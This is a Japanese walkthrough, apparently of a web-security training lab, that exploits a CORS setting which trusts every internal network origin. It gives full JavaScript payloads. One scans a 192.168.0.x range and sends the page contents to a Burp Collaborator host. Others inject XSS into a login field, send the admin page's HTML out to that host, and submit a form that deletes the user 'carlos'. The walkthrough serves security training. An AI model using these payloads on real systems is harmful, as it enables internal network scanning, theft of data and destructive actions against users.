Hello there, ('ω')ノ
内部ネットワークピボット攻撃によるCORSの脆弱性を。
このWebサイトには、すべての内部ネットワークオリジンを信頼するという点で。
安全でないCORS構成があって。
JavaScriptで、ローカルネットワーク上のエンドポイントを見つけて。
これを使用して、ユーザを削除するCORSベースの攻撃を特定して作成できて。
まずは、サイトにアクセスして。
エンドポイントのローカルネットワークをスキャンすることに。
コラボレータを起動して。
下記のコードは、すべてのIPアドレスの範囲内にリクエストを行って。
存在するものを要求すると停止して、要求されたページをサーバに記録して。
<script>
var q = [], collaboratorURL = r'http://lk9t4f7usaybp18il80py7p8lzrpfe.burpcollaborator.net';
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait){
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '? ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
エクスプロイトサーバに挿入して、SoreしてDeliverして。
IPアドレスを取得して。
下記のコードにコラボレータのやり取りから取得したIPアドレスを挿入して。
XSSの脆弱性についてユーザ名フィールドを調査して。
URLでfoundXSS=1のコラボレータインタラクションを取得する必要があって。
でないと、ログにfoundXSS=1が表示されるので。
<script>
function xss(url, text, vector) {
location = url + '/login? time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}
))
}
fetchUrl("http://192.168.0.55:8080", "http://qa48vk5spqvo8ctezlcruxjeu50xom.burpcollaborator.net");
</script>
次に下記のコードに先ほどのIPアドレスとコラボレータのペイロードをセットして。
Deliverするとコラボレータに管理ページのソースコードが表示されて。
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
}
fetchUrl("http://192.168.0.55:8080", "http://lk9t4f7usaybp18il80py7p8lzrpfe.burpcollaborator.net");
</script>
デコーダへ。
デコードしてソースコードを確認できて。
デコードしたソースコードには、carlosを削除できるフォームがあって。
同じようにこれまでと同じIPアドレスで。
/adminページを指すiframeを挿入して、carlosを削除するフォームをDeliverして。
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}
fetchUrl("http://192.168.0.55:8080");
</script>
クリアできた。
Best regards, (^^ゞ